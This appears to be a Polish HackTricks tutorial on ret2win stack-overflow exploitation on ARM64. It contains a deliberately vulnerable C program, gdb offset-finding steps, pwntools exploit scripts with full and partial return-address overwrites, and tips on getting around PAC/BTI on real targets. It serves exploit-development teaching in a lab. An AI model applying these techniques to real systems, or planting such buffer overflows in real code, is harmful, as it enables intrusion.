Ret2win - arm64

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wprowadzenie do arm64 znajdziesz w:

Introduction to ARM64v8

Kod

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Skompiluj bez pie i canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Flaga dodatkowa -mbranch-protection=none wyłącza AArch64 Branch Protection (PAC/BTI). Jeśli twój toolchain domyślnie włącza PAC lub BTI, to sprawia, że lab jest powtarzalny. Aby sprawdzić, czy skompilowany binarny używa PAC/BTI możesz:
  • Szukaj właściwości AArch64 GNU:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Sprawdź prologi/epilogi pod kątem paciasp/autiasp (PAC) lub pod kątem padów lądowania bti c (BTI):
  • objdump -d ret2win | head -n 40

AArch64 calling convention quick facts

  • Rejestr linku to x30 (tzw. lr), a funkcje zazwyczaj zapisują x29/x30 przy pomocy stp x29, x30, [sp, #-16]! i przywracają je za pomocą ldp x29, x30, [sp], #16; ret.
  • To oznacza, że zapisany adres powrotu znajduje się pod sp+8 względem bazy ramki. Przy char buffer[64] umieszczonym poniżej, zwykła odległość nadpisania do zapisanego x30 to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej.
  • Wskaźnik stosu musi pozostać wyrównany do 16‑bajtów na granicach funkcji. Jeśli będziesz budować łańcuchy ROP później dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej możesz spowodować awarię podczas epilogów funkcji.

Znalezienie offsetu

Pattern option

Przykład został utworzony przy użyciu GEF:

Uruchom gdb z gef, wygeneruj pattern i użyj go:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 spróbuje powrócić do adresu w rejestrze x30 (który został przejęty), możemy użyć tego, aby znaleźć offset wzorca:

bash
pattern search $x30

Przesunięcie to 72 (9x48).

Opcja przesunięcia stosu

Zacznij od pobrania adresu stosu, gdzie przechowywany jest rejestr pc:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Teraz ustaw breakpoint po read() i kontynuuj, aż read() zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:

b *vulnerable_function+28
c

Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:

Następnie: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Zwykły

Uzyskaj adres funkcji win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Eksploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Tak naprawdę będzie to bardziej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address nadpiszemy tylko ostatnie 2 bajty wartością 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Możesz znaleźć kolejny przykład off-by-one w ARM64 w https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, który jest prawdziwym off-by-one w fikcyjnej podatności.

With PIE

tip

Skompiluj binarkę bez argumentu -no-pie

Off-by-2

Nie mając leak, nie znamy dokładnego adresu funkcji win, ale możemy znać offset funkcji względem binarki. Wiedząc, że adres powrotny, który nadpisujemy, już wskazuje na pobliski adres, możliwe jest uzyskanie leak offsetu do funkcji win (0x7d4) w tym przypadku i po prostu użycie tego offsetu:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Notes on modern AArch64 hardening (PAC/BTI) and ret2win

  • Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć paciasp/autiasp lub bti c emitowane w prologach/epilogach funkcji. W takim przypadku:
  • Powrót do adresu, który nie jest prawidłowym BTI landing pad, może spowodować SIGILL. Lepiej celować w dokładne wejście funkcji, które zawiera bti c.
  • Jeśli PAC jest włączony dla powrotów, proste nadpisania return‑address mogą nie zadziałać, ponieważ epilog uwierzytelnia x30. W scenariuszach do nauki przebuduj z -mbranch-protection=none (pokazane wyżej). Atakując prawdziwe cele, preferuj przejęcia bez użycia powrotu (np. nadpisania function pointer) lub zbuduj ROP, który nigdy nie wykona pary autiasp/ret uwierzytelniającej sfałszowany LR.
  • Aby szybko sprawdzić funkcje:
  • readelf --notes -W ./ret2win and look for AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC notes.
  • objdump -d ./ret2win | head -n 40 and look for bti c, paciasp, autiasp.

Running on non‑ARM64 hosts (qemu‑user quick tip)

Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Powiązane strony HackTricks

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Źródła

  • Włączanie PAC i BTI na AArch64 w systemie Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks